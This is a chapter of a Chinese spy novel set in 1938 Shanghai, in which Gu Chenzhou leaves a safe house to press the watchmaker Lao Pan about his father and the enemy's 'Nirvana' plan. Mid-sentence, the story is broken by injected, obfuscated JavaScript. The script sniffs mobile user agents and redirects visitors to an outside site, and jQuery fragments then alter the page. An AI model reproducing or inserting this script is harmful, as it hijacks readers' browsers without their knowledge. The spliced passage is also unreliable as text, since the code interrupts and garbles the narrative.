一九三八年五月二十三日，晨八时，法租界新安全屋


    晨光无法穿透厚重的窗帘，房间内依旧依靠一盏蒙着深色布罩的台灯照明。空气中弥漫着淡淡的草药味——秦岳的人送来了林曼笔记中提到的几种辅助药材，昭华刚刚服下煎好的药汁，正闭目凝神，感受着体内那股蛰伏寒意的细微变化。


    顾沉舟站在窗边，侧耳倾听着外面街道逐渐苏醒的市声。他手里捏着一份秦岳刚刚通过密道送来的紧急简报，纸条上的字迹比以往更加潦草，显示着书写者内心的惊涛骇浪：


    “顾兄，昨夜闸北事态升级！‘渡鸦’在货栈区及周边展开大规模秘密搜查，数名可疑人员被抓，气氛极度紧张。另，截获零散信息，‘黑鸢’卫队似有异动，去向不明。‘惠仁’方面，秋吉今日未露面，其副手称其‘闭关进行关键推演’。金属箱失窃，彼等必如疯狗。昭华小姐处境极度危险，安全屋恐难久持。胶片解读暂无突破。盼速决后续行止。秦岳。”


    简报印证了顾沉舟最坏的预计。秋吉的反应极其迅速且激烈，不仅封锁了闸北区域，开始内部清洗，连最精锐的“黑鸢”卫队都出动了。所谓的“闭关推演”，更像是秋吉在震怒和压力下，重新评估局势、调整计划的幌子。而昭华，无疑已成为首要目标。


    “安全屋不能待了。”顾沉舟转过身，声音低沉，“秋吉的搜捕网会很快铺开，秦岳的据点虽然隐蔽，但并非无迹可寻。尤其是我们频繁出入和转移，难免留下线索。”


    昭华睁开眼，眼眸深处冰蓝隐现。“转移去哪里？上海虽大，但秋吉经营多年，又有日伪势力协助，哪里才算安全？”


    这是一个无解的问题。在敌人掌控的城市里，不存在绝对的安全。


    顾沉舟走到桌边，手指无意识地在桌面上敲击着，这是他思考时的习惯动作。“我们必须化被动为主动。不能一味躲藏。”


    “你想提前行动？”昭华立刻明白了他的意图。


    “秋吉现在就像一头被激怒、又被拔掉了几颗牙的老虎。他疯狂搜捕，内部动荡，注意力高度集中在找回箱子和抓你这两件事上。”顾沉舟眼神锐利，“这或许正是他最脆弱的时候。他的‘涅槃’计划因为调试失败和关键部件丢失而受挫，他的核心实验室可能也因为箱子失窃而出现短暂的混乱或安保调整。”


    “你想利用那条‘备用通道’？”昭华看向桌上那张手绘草图的复制品。


    “光有通道不够。”顾沉舟摇头，“我们需要更精确的内部情报，知道秋吉此刻确切的位置，‘深潜区’内部的实时状况，以及‘涅槃’装置的具体弱点和操作方式。盲目闯入，依然是送死。”


    “沈明瑜……”昭华低声说出这个名字。


    顾沉舟沉默。沈明瑜是目前唯一可能提供“深潜区”内部实时情况的人选，但她自身难保，且信任度存疑。联系她，风险极高。


    “除了沈明瑜，还有一个人可能知道些什么。”昭华忽然道。


    顾沉舟看向她。


    “老潘。”昭华吐出这两个字，“他的‘土方’不是巧合。他知道‘樱花’，可能也知道更多。他或许……不属于‘渡鸦’，但一定与这件事有极深的渊源。现在局面剧变，他会不会有新的动作或信息？”


    老潘，那个神秘莫测的钟表匠。他像一道幽灵，一直游离在他们的视野边缘，提供着关键的帮助，却从不显露真容和意图。现在，确实到了必须正视他的时候。


    “我去见他。”顾沉舟做出决定，“最后一次。如果他依然不肯表明立场或提供更有价值的信息，我们就必须将他视为潜在威胁处理。” 处理二字的含义，不言而喻。


    “小心。”昭华没有阻止，只是叮嘱道，“他绝不简单。”


    “你这里，”顾沉舟从怀里掏出一个小巧的、带有复杂刻度的银色金属管，递给昭华，“秦岳弄来的，最新式的微型发信器，范围有限，但信号特殊，难以被常规设备捕捉。如果我回不来，或者情况有变，按下底部的按钮，秦岳的人会不惜一切代价带你转移。” 这是最后的安全措施，也意味着他将自己置于最前线。


    昭华接过那冰冷的金属管，握在掌心，点了点头。没有多余的话语。


    顾沉舟不再耽搁，迅速检查了武器和伪装，悄无声息地离开了安全屋。


    房间内重归寂静。昭华独自坐在灯下，看着掌心那枚小小的发信器，又看了看桌上林曼的笔记本和那些药材。母亲留下的微弱指引，顾沉舟搏命换来的危险筹码，还有自己体内这既是诅咒也可能成为武器的东西……所有的线头都缠在了一起，等待着一个或许能解开、也或许会彻底勒紧的契机。


    她深吸一口气，强迫自己排除杂念，重新将注意力集中在体内的感知上。音乐、草药、意志……她必须更快地学会控制这“冰霜印记”，不仅仅是为了自保，更是为了能在关键时刻，成为刺向敌人心脏的一根冰锥。


    上午十时，法租界辣斐德路，“平安”钟表行


    钟表行依旧门庭冷落。老潘坐在柜台后，戴着那副老花镜，正用镊子夹着一枚细小的齿轮，专注地调整着一座老式座钟的机芯。听到门口风铃响，他头也没抬。


    “今日不营业，修表请改日。” 他的声音苍老而平淡。


    顾沉舟没有理会，径直走到柜台前，目光如炬地盯着他。“潘老板，我们需要谈谈。现在。”


    老潘手上的动作顿了一下，终于抬起头，透过老花镜片看着顾沉舟。他脸上皱纹深刻，眼神浑浊，看不出任何情绪。“谈什么？该给的药，不是给了吗？”


    “药很有效，谢谢你。”顾沉舟语气平静，却带着不容置疑的压力，“但我们遇到的麻烦，不是几包药粉能解决的。‘渡鸦’在发疯，秋吉在找人，找东西。上海快要没有我们的容身之地了。”


    老潘慢吞吞地放下镊子，摘下眼镜，用一块绒布擦拭着。“世道乱，哪里都不安全。老朽一个修表的，能帮的有限。”


    “你知道‘樱花’。”顾沉舟直接点破，“你知道我父亲。你也知道沈昭华体内的东西是什么。你的‘祖传土方’，恰好能压制‘N7’和‘冰霜印记’的混合反应。潘老板，世上没有这么多巧合。”


    老潘擦拭眼镜的动作停住了。他沉默地看着顾沉舟，浑浊的眼底似乎有极细微的光芒一闪而过，快得让人以为是错觉。


    “顾维钧的儿子……”他低声念叨了一句，像是叹息，又像是回忆，“你长得，不太像他。”


    这句话让顾沉舟心头剧震！老潘果然认识父亲！


    “你和我父亲，是什么关系？”顾沉舟逼近一步，声音压得更低。


    老潘没有直接


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082928|195200||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回答，而是重新戴上眼镜，目光变得悠远。“很多年前，有一些人，不甘心看着别人把魔鬼放出来，又或者，想从魔鬼手里抢回点什么……你父亲是其中之一。我……算是给他们修‘钟’的人。”


    修“钟”的人？顾沉舟瞬间联想到了“涅槃”计划的倒计时，想到了那些精密而致命的装置。


    “你们是一个组织？对抗‘樱花’和后来‘N7’的组织？”顾沉舟急切地问。


    “组织？”老潘自嘲地笑了笑，“早就散了。死的死，逃的逃，剩下的……也差不多都忘了本心。如今这上海滩，只剩下些苟延残喘的老家伙，和不知天高地厚、还想往火坑里跳的年轻人。” 他意有所指地看了顾沉舟一眼。


    “所以，你帮我，是因为我父亲？还是因为沈昭华？”


    “都有。”老潘这次回答得很干脆，“顾维钧是个好人，不该那么死。那女娃子……她母亲林曼，我也见过几次，是个明白人，可惜……至于你，”他顿了顿，“你身上有你父亲的影子，但更狠，更绝。也不知道是福是祸。”


    “我需要更实际的帮助。”顾沉舟不想浪费时间在感慨上，“‘渡鸦’的‘深潜区’，秋吉的‘涅槃’计划，我们必须阻止。你有没有关于‘深潜区’入口，或者秋吉弱点的信息？”


    老潘又沉默了很久，久到顾沉舟几乎要失去耐心。终于，他缓缓开口，声音低得几乎听不见：


    “‘深潜区’……不止一个入口。你们拿到的那张图上的‘备用通道’，是其中之一，也是相对最‘干净’的一条。其他的……要么被封死了，要么布满要命的东西。”他顿了顿，“至于秋吉弘一……他是个疯子，也是个天才。他的弱点，就是他对‘完美钥匙’和‘终极科学’的执念。他把自己和‘涅槃’绑得太紧了，紧到……那东西既是他的武器，也可能成为他的棺材。”


    这信息依然模糊，但“备用通道最干净”和“秋吉与‘涅槃’绑定过紧”这两点，具有重要价值。


    “你能不能提供更具体的信息？比如通道入口的精确位置？或者，‘涅槃’装置有没有什么设计上的缺陷、应急关闭程序？”顾沉舟追问。


    老潘摇了摇头，重新拿起镊子，摆出送客的姿态。“我知道的，就这些了。剩下的路，得你们自己走。记住，有时候，最直接的路径，往往最危险；而看起来无懈可击的东西，往往从内部崩溃得最快。”


    这是暗示，也是警告。


    顾沉舟知道，从老潘这里再难得到更多了。他深深看了这个神秘的老人一眼，转身准备离开。


    就在他走到门口时，老潘苍老的声音再次响起，很轻，却清晰地传入他耳中：


    “那女娃子……她体内的‘冰’，未必只能是祸。用得好了，也能‘冻’住不该动的东西。关键，看她自己怎么‘想’。”


    顾沉舟脚步微顿，没有回头，拉开门走了出去。


    门外的阳光有些刺眼。顾沉舟快步走入人群，心中反复咀嚼着老潘最后那句话。“看她自己怎么‘想’？” 是指昭华的意志对“冰霜印记”的控制？还是指……某种更主动的应用？


    暗涌之下，回响不断。每一条线索，似乎都在将他们引向那个最终必须面对的黑暗核心——‘深潜区’，以及盘踞其中的秋吉弘一。


    而时间，正在飞速流逝。